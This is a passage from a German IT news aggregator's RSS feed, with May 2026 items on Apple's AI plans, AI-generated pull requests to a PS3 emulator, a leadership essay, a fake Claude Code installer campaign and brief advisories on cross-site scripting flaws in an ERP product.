<link>https://tsecurity.de/de/3517668/it-nachrichten/linux-devs-are-fighting-the-new-age-gated-internet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3517668/it-nachrichten/linux-devs-are-fighting-the-new-age-gated-internet/</guid>
<pubDate>Thu, 14 May 2026 21:02:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In January, Colorado lawmakers introduced a proposal to make operating systems collect users' ages and pass them to app developers. The bill, SB26-051, had clearly been designed for commercial platforms like iOS and Android - one of numerous plans to age-gate the internet through users' devices. It was intended to provide information that would let […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s App Store model for AI]]></title>
<description><![CDATA[Apple has a design for AI life. It hopes to build on the outstanding hardware performance its systems already provide to create a fantastic environment in which AI developers can thrive. If this plan sounds familiar it’s because it’s all about the App Store, and while it’s easy to expect Apple’s ...]]></description>
<link>https://tsecurity.de/de/3517312/it-nachrichten/apples-app-store-model-for-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3517312/it-nachrichten/apples-app-store-model-for-ai/</guid>
<pubDate>Thu, 14 May 2026 18:17:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Apple has a <a href="https://www.computerworld.com/article/4170159/wwdc-from-nextstep-for-apple-to-apples-next-step-for-ai.html">design for AI life</a>. It hopes to build on the outstanding hardware performance its systems already provide to create a fantastic environment in which AI developers can thrive. If this plan sounds familiar it’s because it’s all about the App Store, and while it’s easy to expect Apple’s revenue share to change, the plan still makes the company the custodian of the AI age.</p>



<p>The way it should work is if app developers see that one way to bring their AI services to billions of iPhones, iPad, and Mac users is to make AI agents available <a href="https://www.theinformation.com/articles/apple-explores-ways-welcome-ai-agents-app-store">via Apple’s own portals</a>. These <a href="https://www.computerworld.com/article/4037554/to-make-ai-apple-is-cooking-with-app-intents.html">will likely be via App Intents</a>, enabling Siri to execute actions inside their apps without actively opening them. </p>



<p><a href="https://www.theinformation.com/articles/apple-explores-ways-welcome-ai-agents-app-store" target="_blank" rel="noreferrer noopener">The Information</a> reports some developers are resistant to joining the initiative, in part because they want to avoid paying any fees. All the same, consider the moment, consider the meaning, and I think the significance is that Apple has at last got its act together with AI.</p>



<h2 class="wp-block-heading"><strong>Ecosystem, services, store</strong></h2>



<p>Apple is going to bet that the advantages its existing store provides will give customers the faith and trust to access AI apps there rather than somewhere else. The company hasn’t announced its plan yet, though there have been hints. Just look at how Apple is laying things out with these moves (both announced and speculated about). It’s:</p>



<ul class="wp-block-list">
<li>Working with Google to build out Apple Intelligence.</li>



<li>Working with third parties to support AI services as apps with which to replace or supplement Siri.</li>



<li>Maintaining investment in better hardware to run AI — you can quite happily run some models natively on an iPad. </li>



<li>Equipping systems with powerful tools such as Unified Memory and the Neural Engine.</li>



<li>Rolling out Apple Private Cloud Computer to provide an infrastructure to support private AI in the cloud.</li>



<li>Pulling these elements together to form an ecosystem.</li>
</ul>



<p>Like a jigsaw, the pieces fit together to provide a fantastic base from which Apple can distribute increasingly powerful AI APIs developers can use to create amazing AI experiences. I spoke with the smart people at the OmniGroup just last year who explained how they already use Apple Intelligence APIs (aka Foundation Models) to <a href="https://www.computerworld.com/article/4075643/omni-group-devs-explain-how-they-use-apple-foundation-models.html">add powerful AI features to apps</a>. </p>



<p>That was just the first lap; the second comes at WWDC 2026; and the third and subsequent races take place over the next 12 to 24 months as Apple implements the elements it’s put in place across its ecosystem. </p>



<h2 class="wp-block-heading"><strong>Making money, one token at a time</strong></h2>



<p>The prize? For Apple, it’s about maintaining its own relevance within the AI age while carving out some way to generate revenue as its hardware ecosystem runs AI agents and services. The company will <a href="https://www.applemust.com/4-new-apple-intelligence-tools-emerge/" target="_blank" rel="noreferrer noopener">continue to develop and build out</a> Apple Intelligence as a peer player in the competitive AI market. But, as most now agree, it is also focused on ensuring its platforms are the best systems on which to run AI.</p>



<p>Apple’s attempt to build a profitable, secure, and capable way to run AI — supported by customer-focused security and privacy standards— seems like an answer to some of the emerging challenges around AI deployment. Speak to almost anyone in IT right now and you’ll come across stories of corporate data leaks that may fall foul of data regulation. That’s before you even consider the manner in which AI ownership consolidates power over the intellectual future of humanity into such a small number of hands it almost makes media ownership seem democratic.</p>



<h2 class="wp-block-heading"><strong>Getting the band together</strong></h2>



<p>With so much at stake, not just for Apple, it feels as if the company has found some of the answers that could enable a less frightening AI future. It has a chance to own the hardware ecosystem while curating the AI services environment for the benefit of its customers — and producing its own trusted systems for casual AI usage. </p>



<p>We’ll <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">find out more in a few weeks</a>.</p>



<p><em>You can follow me on social media! Join me on </em><a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener"><em>BlueSky</em></a><em>,  </em><a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener"><em>LinkedIn</em></a><em>, and </em><a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener"><em>Mastodon</em></a><em>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA["I just find AI to be creatively soulless": Star Wars: Fate of the Old Republic director Casey Hudson won't use AI because he's "really unimpressed with it"]]></title>
<description><![CDATA[Casey Hudson, director of the upcoming RPG Star Wars: Fate of the Old Republic, has noted its devs have no plans to use AI while making the game.]]></description>
<link>https://tsecurity.de/de/3514928/windows-tipps/i-just-find-ai-to-be-creatively-soulless-star-wars-fate-of-the-old-republic-director-casey-hudson-wont-use-ai-because-hes-really-unimpressed-with-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3514928/windows-tipps/i-just-find-ai-to-be-creatively-soulless-star-wars-fate-of-the-old-republic-director-casey-hudson-wont-use-ai-because-hes-really-unimpressed-with-it/</guid>
<pubDate>Wed, 13 May 2026 22:25:27 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Casey Hudson, director of the upcoming RPG Star Wars: Fate of the Old Republic, has noted its devs have no plans to use AI while making the game.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft aims to speed Windows with 'leap forward' in WinUI 3 perf]]></title>
<description><![CDATA[Bittersweet post tells devs what they already knew: The framework is too slow]]></description>
<link>https://tsecurity.de/de/3513963/it-nachrichten/microsoft-aims-to-speed-windows-with-leap-forward-in-winui-3-perf/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3513963/it-nachrichten/microsoft-aims-to-speed-windows-with-leap-forward-in-winui-3-perf/</guid>
<pubDate>Wed, 13 May 2026 16:03:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Bittersweet post tells devs what they already knew: The framework is too slow]]></content:encoded>
</item>
<item>
<title><![CDATA[PS3 Emulator Devs Beg Contributors to Stop Submitting Low‑Quality, AI‑Generated Code]]></title>
<description><![CDATA[Many of what appear to be legitimate pull requests are actually AI slop.]]></description>
<link>https://tsecurity.de/de/3510297/it-nachrichten/ps3-emulator-devs-beg-contributors-to-stop-submitting-lowquality-aigenerated-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3510297/it-nachrichten/ps3-emulator-devs-beg-contributors-to-stop-submitting-lowquality-aigenerated-code/</guid>
<pubDate>Tue, 12 May 2026 14:49:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Many of what appear to be legitimate pull requests are actually AI slop.]]></content:encoded>
</item>
<item>
<title><![CDATA[PlayStation 3 emulator RPCS3 devs battling "AI slop code pull requests"]]></title>
<description><![CDATA[The team behind the popular PlayStation 3 emulator RPCS3 have seen a rise in what they say are "AI slop code pull requests".Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3509728/linux-tipps/playstation-3-emulator-rpcs3-devs-battling-ai-slop-code-pull-requests/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3509728/linux-tipps/playstation-3-emulator-rpcs3-devs-battling-ai-slop-code-pull-requests/</guid>
<pubDate>Tue, 12 May 2026 11:54:24 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The team behind the popular PlayStation 3 emulator RPCS3 have seen a rise in what they say are "AI slop code pull requests".<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/910549315id28999gol.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/05/playstation-3-emulator-rpcs3-devs-battling-ai-slop-code-pull-requests/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Xbox and PC may get the sequel to this hit PS5 exclusive at launch — its devs are ditching Sony to "reach a broad global audience from day one"]]></title>
<description><![CDATA[The dev behind the hit PS5 exclusive Stellar Blade is going independent and making a sequel — and it sounds like the series could be headed to Xbox.]]></description>
<link>https://tsecurity.de/de/3508350/windows-tipps/xbox-and-pc-may-get-the-sequel-to-this-hit-ps5-exclusive-at-launch-its-devs-are-ditching-sony-to-reach-a-broad-global-audience-from-day-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3508350/windows-tipps/xbox-and-pc-may-get-the-sequel-to-this-hit-ps5-exclusive-at-launch-its-devs-are-ditching-sony-to-reach-a-broad-global-audience-from-day-one/</guid>
<pubDate>Mon, 11 May 2026 22:39:53 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The dev behind the hit PS5 exclusive Stellar Blade is going independent and making a sequel — and it sounds like the series could be headed to Xbox.]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake Claude Code Page Pushes PowerShell Stealer at Devs]]></title>
<description><![CDATA[Ontinue uncovers fake Claude Code installer pushing PowerShell stealer abusing Chrome's IElevator2]]></description>
<link>https://tsecurity.de/de/3507328/it-security-nachrichten/fake-claude-code-page-pushes-powershell-stealer-at-devs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3507328/it-security-nachrichten/fake-claude-code-page-pushes-powershell-stealer-at-devs/</guid>
<pubDate>Mon, 11 May 2026 16:11:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ontinue uncovers fake Claude Code installer pushing PowerShell stealer abusing Chrome's IElevator2]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake Claude Code Page Pushes PowerShell Stealer at Devs]]></title>
<description><![CDATA[Ontinue uncovers fake Claude Code installer pushing PowerShell stealer abusing Chrome’s IElevator2 This article has been indexed from www.infosecurity-magazine.com Read the original article: Fake Claude Code Page Pushes PowerShell Stealer at Devs
Read more →
The post Fake Claude Code Page Pushes ...]]></description>
<link>https://tsecurity.de/de/3507327/it-security-nachrichten/fake-claude-code-page-pushes-powershell-stealer-at-devs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3507327/it-security-nachrichten/fake-claude-code-page-pushes-powershell-stealer-at-devs/</guid>
<pubDate>Mon, 11 May 2026 16:11:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ontinue uncovers fake Claude Code installer pushing PowerShell stealer abusing Chrome’s IElevator2 This article has been indexed from www.infosecurity-magazine.com Read the original article: Fake Claude Code Page Pushes PowerShell Stealer at Devs</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/fake-claude-code-page-pushes-powershell-stealer-at-devs/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/fake-claude-code-page-pushes-powershell-stealer-at-devs/">Fake Claude Code Page Pushes PowerShell Stealer at Devs</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The skill that separates strategists from operators in the AI era]]></title>
<description><![CDATA[For most of human history, the tools we built extended our bodies. The plow extended our hands. The wheel extended our feet. The telescope extended our eyes.



For the first time, we’re building tools that extend our minds.



I’ve spent the last year training chief AI officers and leadership te...]]></description>
<link>https://tsecurity.de/de/3506882/it-security-nachrichten/the-skill-that-separates-strategists-from-operators-in-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3506882/it-security-nachrichten/the-skill-that-separates-strategists-from-operators-in-the-ai-era/</guid>
<pubDate>Mon, 11 May 2026 14:06:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For most of human history, the tools we built extended our bodies. The plow extended our hands. The wheel extended our feet. The telescope extended our eyes.</p>



<p>For the first time, we’re building tools that extend our minds.</p>



<p>I’ve spent the last year training chief AI officers and leadership teams on AI implementation. One of the biggest challenges is the uncertainty about what we’re actually optimizing for. Are we trying to replace human thinking? Augment it? Redistribute it? The companies making smart moves right now are the ones who’ve answered that question clearly, not the ones with the biggest AI budgets.</p>



<h2 class="wp-block-heading">What is digital integral thinking?</h2>



<p>Intelligence as a resource is moving from scarce to abundant. According to<a href="https://www.mckinsey.com/capabilities/mckinsey-digital/our-insights/the-economic-potential-of-generative-ai-the-next-productivity-frontier" rel="nofollow"> </a><a href="https://www.mckinsey.com/capabilities/mckinsey-digital/our-insights/the-economic-potential-of-generative-ai-the-next-productivity-frontier" rel="nofollow">recent analysis from McKinsey</a>, generative AI could add the equivalent of $2.6 trillion to $4.4 trillion annually across use cases. At the same time, the cost of running models is dropping by an order of magnitude, and the amount of information Large Language Models can process, otherwise known as the context limit, is expanding from roughly 100,000 tokens to potentially 10 million.</p>



<p>So, what is the new scarcity?</p>



<p>In the factory era, physical labor became abundant. Human judgment became scarce. In the computer era, calculation became abundant. Creative problem-solving became scarce. In the AI era, cognitive processing is becoming abundant.</p>



<p>The next scarce resource will be integral thinking.</p>



<p>The term draws from<a href="https://integrallife.com/what-is-integral/" rel="nofollow"> </a><a href="https://integrallife.com/what-is-integral/" rel="nofollow">Ken Wilber’s integral theory</a>, which maps how human consciousness develops the capacity to hold multiple perspectives simultaneously. Applied to business, integral thinking is the ability to synthesize across fundamentally different domains, including biology, technology, sociology, economics and culture, and integrate them into coherent strategy.</p>



<p>This can mean applying a biological insight to organizational resilience, using social behavior shifts to predict technology adoption curves, or realizing that your technical problem is actually a cultural problem in disguise.</p>



<p>Integral thinking has always been a hallmark of great thinkers. In the 90s, engineers struggling with complex network systems were saved by an unexpected hero — ants. They developed “<a href="https://www.geeksforgeeks.org/machine-learning/introduction-to-ant-colony-optimization/" rel="nofollow">ant colony optimization</a>” algorithms which mimicked how colonies find shortest paths using pheromone trails. The algorithms are now a backbone of modern logistics and data networks.</p>



<p>Recently, I’ve seen integral thinking play out in real time between software devs and marketing managers. Devs discovered they can give Claude Code direct access to their local file system, where it can edit, manipulate and store files. That works beautifully for code, and it applies just as well to your marketing team’s content calendar. Point Claude Code at the folder where your content lives and it can draft, update and publish your next month’s schedule using browser automation.</p>



<p>AI can be an exceptional operator within defined boundaries, but it struggles to stand at the intersection of multiple disciplines and weave them into something new.</p>



<p>Two foundational human capacities make integral thinking work:</p>



<p>First, judgment about what’s worth doing. Integral thinking requires meta-judgment — the ability to assess which patterns across domains actually matter. AI can surface a thousand correlations. You need judgment to know which one is signal versus noise and which has strategic value versus novelty.</p>



<p>Second, relational trust and influence. Seeing patterns across domains is only half the work. Translating that insight into action requires bringing people along from different disciplines, each with their own mental models. When you tell a biologist their insight applies to organizational design or tell an engineer their technical solution creates a cultural problem, you’re crossing tribal boundaries. That requires trust that no algorithm can manufacture.</p>



<h2 class="wp-block-heading">Why this matters now</h2>



<p>In the last year I’ve worked with over 33 organizations across 17 different industries, and the pattern is consistent. Most companies treat ‘getting AI ready’ as a headcount exercise. That’s a short-term play with a long-term cost. The organizations pulling ahead are using it to scale: entering new markets, launching new products and services, capturing new clients.</p>



<p>Here’s what almost no one is talking about: Taking a true “AI-first” approach requires completely different organizational structures.</p>



<p>In the 1800s, the fix for railway coordination chaos was hierarchy; the original org chart. It worked brilliantly for control, but it was optimized for a world where coordination was the bottleneck.</p>



<p>AI flips that constraint. Coordination can be automated. The bottleneck isn’t control anymore. It’s digital speed, creative iteration and decision velocity. If your organizational structure still looks like it was designed to solve coordination problems, you’re building for the wrong era.</p>



<p>The companies I see winning right now are hiring people to own outcomes, not functions. AI handles the playbooks. Humans are hired for judgment, taste and decisions that matter. Job titles are morphing. “Head of sales” becomes “head of outreach.” “Head of marketing” becomes “Head of growth.” The role isn’t “manage the machine.” The role is “produce the result.”</p>



<p>Teams are getting smaller and roles are getting broader. When we automate coordination, it means that when teams spend time together it’s to discuss how things could run rather than how they’re running already. Companies who get this right will soon begin to pull way ahead of the pack.</p>



<p>This is exactly why integral thinking matters so much. We need to build teams of people who can see patterns across domains and move together at speed.</p>



<p>The filter becomes: Can this person work in a world where structure is fluid?</p>



<p>According to research from<a href="https://hai.stanford.edu/news/ai-will-transform-teaching-and-learning-lets-get-it-right" rel="nofollow"> </a><a href="https://hai.stanford.edu/news/ai-will-transform-teaching-and-learning-lets-get-it-right" rel="nofollow">Stanford’s Institute for Human-Centered AI</a>, the skills that will matter most in an AI-augmented workplace are precisely the ones that require synthesis across disciplines — critical thinking, creativity and complex problem-solving.</p>



<h2 class="wp-block-heading">How leaders can develop integral thinking</h2>



<p>Here’s how I recommend building these capabilities in yourself and your teams.</p>



<p><strong>Force yourself to learn outside your domain.</strong> Pick one hour every week to study something completely unrelated to your work. Not business books adjacent to your field, actual different domains. Neuroscience, urban planning, ecology or Renaissance art. The goal isn’t expertise. It’s pattern recognition.</p>



<p>I’ve been doing this for two years. Last month I studied ant colony optimization algorithms. This week it’s regenerative agriculture systems. After three months of this practice, you start seeing structural similarities across wildly different systems. How ant colonies make decisions without leaders teaches me things about distributed team coordination that no AI can surface.</p>



<p><strong>Build a translation practice into your routine.</strong> Once a week, take a concept from an outside domain and force yourself to write a paragraph on how it applies to your business. “What can bee colony decision-making teach us about distributed team coordination?” “How does the way languages evolve relate to how our product features spread?” The first dozen feel forced. Then connections start emerging naturally.</p>



<p><strong>Cultivate relationships across at least five different domains.</strong> Deliberately build your network with people who think in fundamentally different ways. Not just different industries, different cognitive frameworks. Scientists, artists, policy makers, engineers and anthropologists. Have regular conversations where you’re genuinely trying to understand their mental models rather than just networking.</p>



<p><strong>Identify integral thinkers already in your organization.</strong> Watch how people explain their work to non-experts. Great integral thinkers find genuine analogies from completely different fields. If your engineer explains a technical problem using a biological metaphor or your marketer uses physics to describe customer behavior, you’ve found something rare.</p>



<p>Look at career trajectories. Integral thinkers rarely have linear paths. They’ve crossed industry boundaries, switched functions or combined seemingly unrelated skills. A biologist who became a product manager. An engineer who studied philosophy. This deliberate boundary-crossing creates unique perspective combinations.</p>



<p><strong>Incorporate “effective use of AI” into performance reviews.</strong> People should be rewarded for leveraging AI well, not competing with it.</p>



<p>The strongest leaders I work with do three things consistently:</p>



<ol start="1" class="wp-block-list">
<li>They know where to trust AI and when to override it</li>



<li>They know what’s worth shipping in a world of infinite drafts</li>



<li>They design clean handoffs between automated work and human judgment</li>
</ol>



<p>That last one is crucial. The competitive advantage isn’t having AI or not having AI. It’s designing the interface between machine processing and human integral thinking.</p>



<p>The technology doesn’t determine the outcome, our choices do.</p>



<p>What are you choosing?</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-8253 | Devs Palace ERP Online up to 4.0.0 /inventory/purchase_save cross site scripting]]></title>
<description><![CDATA[A vulnerability was found in Devs Palace ERP Online up to 4.0.0. It has been classified as problematic. Affected by this vulnerability is an unknown functionality of the file /inventory/purchase_save. The manipulation leads to cross site scripting.

This vulnerability is traded as CVE-2026-8253. ...]]></description>
<link>https://tsecurity.de/de/3506222/sicherheitsluecken/cve-2026-8253-devs-palace-erp-online-up-to-400-inventorypurchasesave-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3506222/sicherheitsluecken/cve-2026-8253-devs-palace-erp-online-up-to-400-inventorypurchasesave-cross-site-scripting/</guid>
<pubDate>Mon, 11 May 2026 10:26:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/devs_palace:erp_online">Devs Palace ERP Online up to 4.0.0</a>. It has been classified as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected by this vulnerability is an unknown functionality of the file <em>/inventory/purchase_save</em>. The manipulation leads to cross site scripting.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-8253">CVE-2026-8253</a>. It is possible to initiate the attack remotely. Furthermore, there is an exploit available.

The vendor was contacted early about this disclosure but did not respond in any way.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-8254 | Devs Palace ERP Online up to 4.0.0 /inventory/sales_save cross site scripting]]></title>
<description><![CDATA[A vulnerability was found in Devs Palace ERP Online up to 4.0.0. It has been declared as problematic. Affected by this issue is some unknown functionality of the file /inventory/sales_save. The manipulation results in cross site scripting.

This vulnerability is known as CVE-2026-8254. It is poss...]]></description>
<link>https://tsecurity.de/de/3506221/sicherheitsluecken/cve-2026-8254-devs-palace-erp-online-up-to-400-inventorysalessave-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3506221/sicherheitsluecken/cve-2026-8254-devs-palace-erp-online-up-to-400-inventorysalessave-cross-site-scripting/</guid>
<pubDate>Mon, 11 May 2026 10:26:20 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/devs_palace:erp_online">Devs Palace ERP Online up to 4.0.0</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected by this issue is some unknown functionality of the file <em>/inventory/sales_save</em>. The manipulation results in cross site scripting.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-8254">CVE-2026-8254</a>. It is possible to launch the attack remotely. Furthermore, an exploit is available.

The vendor was contacted early about this disclosure but did not respond in any way.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-8255 | Devs Palace ERP Online up to 4.0.0 add_new_customer cross site scripting]]></title>
<description><![CDATA[A vulnerability was found in Devs Palace ERP Online up to 4.0.0. It has been rated as problematic. This affects an unknown part of the file /inventory/add_new_customer. This manipulation causes cross site scripting.

This vulnerability is handled as CVE-2026-8255. The attack can be initiated remo...]]></description>
<link>https://tsecurity.de/de/3506220/sicherheitsluecken/cve-2026-8255-devs-palace-erp-online-up-to-400-addnewcustomer-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3506220/sicherheitsluecken/cve-2026-8255-devs-palace-erp-online-up-to-400-addnewcustomer-cross-site-scripting/</guid>
<pubDate>Mon, 11 May 2026 10:26:18 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/devs_palace:erp_online">Devs Palace ERP Online up to 4.0.0</a>. It has been rated as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown part of the file <em>/inventory/add_new_customer</em>. This manipulation causes cross site scripting.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-8255">CVE-2026-8255</a>. The attack can be initiated remotely. Additionally, an exploit exists.

The vendor was contacted early about this disclosure but did not respond in any way.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-8262 | Devs Palace ERP Online up to 4.0.0 /accounts/chart-save cross site scripting]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in Devs Palace ERP Online up to 4.0.0. This impacts an unknown function of the file /accounts/chart-save. Such manipulation leads to cross site scripting.

This vulnerability is listed as CVE-2026-8262. The attack may be performed from remote. I...]]></description>
<link>https://tsecurity.de/de/3506219/sicherheitsluecken/cve-2026-8262-devs-palace-erp-online-up-to-400-accountschart-save-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3506219/sicherheitsluecken/cve-2026-8262-devs-palace-erp-online-up-to-400-accountschart-save-cross-site-scripting/</guid>
<pubDate>Mon, 11 May 2026 10:26:17 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/devs_palace:erp_online">Devs Palace ERP Online up to 4.0.0</a>. This impacts an unknown function of the file <em>/accounts/chart-save</em>. Such manipulation leads to cross site scripting.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2026-8262">CVE-2026-8262</a>. The attack may be performed from remote. In addition, an exploit is available.

The vendor was contacted early about this disclosure but did not respond in any way.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-8256 | Devs Palace ERP Online up to 4.0.0 /accounts/mr-save cross site scripting (EUVD-2026-29011)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in Devs Palace ERP Online up to 4.0.0. This vulnerability affects unknown code of the file /accounts/mr-save. Such manipulation leads to cross site scripting.

This vulnerability is uniquely identified as CVE-2026-8256. The attack can...]]></description>
<link>https://tsecurity.de/de/3506142/sicherheitsluecken/cve-2026-8256-devs-palace-erp-online-up-to-400-accountsmr-save-cross-site-scripting-euvd-2026-29011/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3506142/sicherheitsluecken/cve-2026-8256-devs-palace-erp-online-up-to-400-accountsmr-save-cross-site-scripting-euvd-2026-29011/</guid>
<pubDate>Mon, 11 May 2026 09:55:36 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/devs_palace:erp_online">Devs Palace ERP Online up to 4.0.0</a>. This vulnerability affects unknown code of the file <em>/accounts/mr-save</em>. Such manipulation leads to cross site scripting.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-8256">CVE-2026-8256</a>. The attack can be launched remotely. Moreover, an exploit is present.

The vendor was contacted early about this disclosure but did not respond in any way.]]></content:encoded>
</item>
<item>
<title><![CDATA[PlayStation3 Emulator Devs Politely Ask Contributors to Stop Submitting 'AI Slop' Pull Requests]]></title>
<description><![CDATA[Open-source PS3 emulator RPCS3 "has been around since 2011," Kotaku notes, and has made 70% of the PlayStation 3's library fully playable, "bolstered in part by the many users who contribute to its GitHub page." But their dev team "took to X today to very kindly and civilly request that users 'st...]]></description>
<link>https://tsecurity.de/de/3505507/it-security-nachrichten/playstation3-emulator-devs-politely-ask-contributors-to-stop-submitting-ai-slop-pull-requests/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3505507/it-security-nachrichten/playstation3-emulator-devs-politely-ask-contributors-to-stop-submitting-ai-slop-pull-requests/</guid>
<pubDate>Mon, 11 May 2026 02:21:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Open-source PS3 emulator RPCS3 "has been around since 2011," Kotaku notes, and has made 70% of the PlayStation 3's library fully playable, "bolstered in part by the many users who contribute to its GitHub page." But their dev team "took to X today to very kindly and civilly request that users 'stop submitting AI slop code pull requests' to its GitHub page."

Then they immediately proceeded to tell the AI-brain-rotted tech bros attempting to justify their vibe-coding nonsense to kick rocks in the replies, which is somewhat less civil but far more entertaining to read... 
My favorite one was when someone asked how the team was certain they weren't rejecting human-written code, to which RPCS3 replied: "You can't possibly handwrite the type of shit AI slop we have been seeing."

<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=PlayStation3+Emulator+Devs+Politely+Ask+Contributors+to+Stop+Submitting+'AI+Slop'+Pull+Requests+%3A+https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F05%2F11%2F0012211%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F05%2F11%2F0012211%2Fplaystation3-emulator-devs-politely-ask-contributors-to-stop-submitting-ai-slop-pull-requests%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://games.slashdot.org/story/26/05/11/0012211/playstation3-emulator-devs-politely-ask-contributors-to-stop-submitting-ai-slop-pull-requests?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-8218 | Devs Palace ERP Online up to 4.0.0 purchase_return_save cross site scripting]]></title>
